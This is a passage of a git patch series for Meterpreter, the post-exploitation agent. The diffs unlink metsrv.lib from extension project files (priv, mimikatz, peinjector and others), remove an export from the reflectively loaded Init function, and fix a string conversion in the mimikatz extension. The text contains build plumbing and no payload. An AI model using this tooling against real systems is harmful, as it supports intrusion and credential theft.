backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + backcompat.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + ..\backcompat\$(Configuration);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) false @@ -174,9 +174,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + backcompat.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + ..\backcompat\$(Configuration);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) false @@ -228,9 +228,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + ..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) false @@ -282,9 +282,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + ..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) false @@ -320,10 +320,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -447,4 +443,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj index daf93079..02a9d799 100755 --- a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj +++ b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj @@ -102,8 +102,8 @@ true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -152,8 +152,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -204,8 +204,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -254,8 +254,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -307,10 +307,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -320,4 +316,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj index 37190487..ff10bd7d 100644 --- a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj +++ b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj @@ -103,8 +103,8 @@ - mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -154,8 +154,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -207,8 +207,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - mscoree.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + mscoree.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -258,8 +258,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - mscoree.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + mscoree.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -306,10 +306,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -319,4 +315,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj index 36e48ce3..f0430230 100644 --- a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj +++ b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj @@ -121,8 +121,8 @@ 0x0409 - backcompat.lib;psapi.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;psapi.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) true @@ -183,8 +183,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - backcompat.lib;psapi.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;psapi.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) true @@ -244,9 +244,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - psapi.lib;metsrv.lib;%(AdditionalDependencies) + psapi.lib;%(AdditionalDependencies) true - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + $(OutDir)\ext_server_priv.pdb @@ -305,9 +305,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - psapi.lib;metsrv.lib;%(AdditionalDependencies) + psapi.lib;%(AdditionalDependencies) true - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + $(OutDir)\ext_server_priv.pdb @@ -366,10 +366,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" {662afbb3-f64a-4ad1-8956-b9f1b846231c} false - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -379,4 +375,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj index 87d47d2b..5342aacf 100755 --- a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj +++ b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj @@ -102,8 +102,8 @@ true - crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;backcompat.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\libressl\output\$(PlatformToolset)\x86;%(AdditionalLibraryDirectories) + crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;backcompat.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\..\deps\libressl\output\$(PlatformToolset)\x86;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -155,8 +155,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - gdiplus.lib;backcompat.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;crypto-46.lib;ssl-48.lib;tls-20.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\libressl\output\$(PlatformToolset)\x86;%(AdditionalLibraryDirectories) + gdiplus.lib;backcompat.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;crypto-46.lib;ssl-48.lib;tls-20.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\..\deps\libressl\output\$(PlatformToolset)\x86;%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -210,8 +210,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);..\..\deps\libressl\output\$(PlatformToolset)\x64;%(AdditionalLibraryDirectories) + crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\..\deps\libressl\output\$(PlatformToolset)\x64;%(AdditionalLibraryDirectories) false @@ -263,8 +263,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);..\..\deps\libressl\output\$(PlatformToolset)\x64;%(AdditionalLibraryDirectories) + crypto-46.lib;ssl-48.lib;tls-20.lib;gdiplus.lib;Netapi32.lib;crypt32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\..\deps\libressl\output\$(PlatformToolset)\x64;%(AdditionalLibraryDirectories) false @@ -302,10 +302,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false diff --git a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj index 3fe63add..ffa1ca4b 100644 --- a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj +++ b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj @@ -91,7 +91,7 @@ backcompat.lib;pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs;%(AdditionalLibraryDirectories) + ..\backcompat\$(Configuration);..\..\..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs;%(AdditionalLibraryDirectories) true @@ -153,7 +153,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" pssdk_$(PssdkVersion)_mt.lib;ws2_32.lib;%(AdditionalDependencies) true - ..\metsrv\$(Configuration)\$(Platform);..\..\..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs64;%(AdditionalLibraryDirectories) + ..\..\..\..\..\pssdk\PSSDK_$(PssdkVersion)_LIB\_Libs64;%(AdditionalLibraryDirectories) $(OutDir)\ext_server_sniffer.pdb @@ -196,10 +196,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -209,4 +205,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj index 9a8a8833..be50e556 100644 --- a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj +++ b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj @@ -120,10 +120,9 @@ 0x0409 - psapi.lib;winmm.lib;backcompat.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + psapi.lib;winmm.lib;backcompat.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) true - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + ..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories) true @@ -183,9 +182,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - psapi.lib;winmm.lib;backcompat.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + psapi.lib;winmm.lib;backcompat.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) true - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\lib;%(AdditionalLibraryDirectories) + ..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories) true @@ -244,9 +243,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) true - ..\..\lib;..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + ..\..\lib;%(AdditionalLibraryDirectories) true @@ -305,9 +304,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;metsrv.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) + psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies) true - ..\..\lib;..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + ..\..\lib;%(AdditionalLibraryDirectories) true @@ -416,10 +415,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false diff --git a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj index 5116aa6e..cc0c1da3 100644 --- a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj +++ b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj @@ -101,8 +101,8 @@ true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -151,8 +151,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -203,8 +203,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -252,8 +252,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -298,10 +298,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -311,4 +307,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj index e3085807..93d2ceb4 100644 --- a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj +++ b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj @@ -101,8 +101,8 @@ true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -150,8 +150,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) @@ -201,8 +201,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -250,8 +250,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + false @@ -295,10 +295,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -313,4 +309,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + From f5313a91d01c015f3dc7d6d8d56951d3bdc8c92e Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 23 Apr 2020 01:37:51 +1000 Subject: [PATCH 20/21] Remove __declspec(dllexport) from the Init function in metsrv --- c/meterpreter/source/metsrv/metsrv.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c index 7095451f..06c8cb04 100644 --- a/c/meterpreter/source/metsrv/metsrv.c +++ b/c/meterpreter/source/metsrv/metsrv.c @@ -11,7 +11,7 @@ #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN #include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -DWORD __declspec(dllexport) Init(MetsrvConfig* metConfig) +DWORD Init(MetsrvConfig* metConfig) { // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value From 57eda40fc70caba710e355a31866773e0d03c45d Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 24 Apr 2020 12:26:39 +1000 Subject: [PATCH 21/21] Fix mimikatz to build clean again I am sad. Like.. really sad. I'm sad for so many reasons. For nearly 7 years I've worked on this god forsaken source, and for many of those 7 years I have had the ext_server_mimikatz project configured to have warning level 3, and warnings as errors. While making changes to the build systems in the last week or so, I've even rebuilt this on updated toolsets on multiple platforms. Despite all this, one thing slipped through the cracks. I have NO idea why this warning wasn't shown in th past. Also.. how did this ever work!? Why is it that it's only rearing its ugly head now? I honestly don't know. Based on the code that I've had to fix in this PR, there's no reason why this should build without warnings on any machine. Yet, it does. It builds clean on my Windows 10 desktop with VS2013/2017/2019. Same on most of my other virtual machines. For some reason it only failed on this one VM after I had to fight to reproduce it when Brent hand an issue. The issue here was that a `string` type was being constructed from an iterator over a `wstring` type, and hence there was an implicit character conversion from `wchar_t` to `char`. This SHOULD be a warning, because clearly that's not a good thing. BUT HERE WE ARE. Anyway, we're proxying via the `_bstr_t` type now to avoid having to do horrible manual character conversions. Given that we're in C++ land already there's no point in working any harder. Also, this extension is probably going to go away soon anyway, so a temporary fix that does the job is good enough. RIP my morning. I won't be getting that back. --- .../source/extensions/mimikatz/modules/kmodel.cpp | 5 +++-- .../ext_server_mimikatz/ext_server_mimikatz.vcxproj | 10 +++++----- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/c/meterpreter/source/extensions/mimikatz/modules/kmodel.cpp b/c/meterpreter/source/extensions/mimikatz/modules/kmodel.cpp index 4a0e9d9f..1d3bfe40 100644 --- a/c/meterpreter/source/extensions/mimikatz/modules/kmodel.cpp +++ b/c/meterpreter/source/extensions/mimikatz/modules/kmodel.cpp @@ -4,6 +4,7 @@ Licence : http://creativecommons.org/licenses/by/3.0/fr/ */ #include "kmodel.h" +#include HMODULE g_hModule = NULL; @@ -56,9 +57,9 @@ DWORD WINAPI ThreadProc(LPVOID lpParameter) fonction = fonction.substr(0, monIndex); } - string procDll(fonction.begin(), fonction.end()); + _bstr_t procDll(wstring(fonction.begin(), fonction.end()).c_str()); - ptrFunction maFonction = reinterpret_cast(GetProcAddress(g_hModule, procDll.c_str())); + ptrFunction maFonction = reinterpret_cast(GetProcAddress(g_hModule, (const char*)procDll)); if(maFonction) { diff --git a/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj b/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj index adf6599a..32031d54 100644 --- a/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj +++ b/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj @@ -124,7 +124,7 @@ true - backcompat.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + comsuppw.lib;backcompat.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) ..\backcompat\$(Configuration);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) @@ -174,7 +174,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + comsuppw.lib;backcompat.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) ..\backcompat\$(Configuration);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) @@ -228,7 +228,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + comsuppw.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) ..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) @@ -282,7 +282,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + comsuppw.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) ..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) @@ -443,4 +443,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - + \ No newline at end of file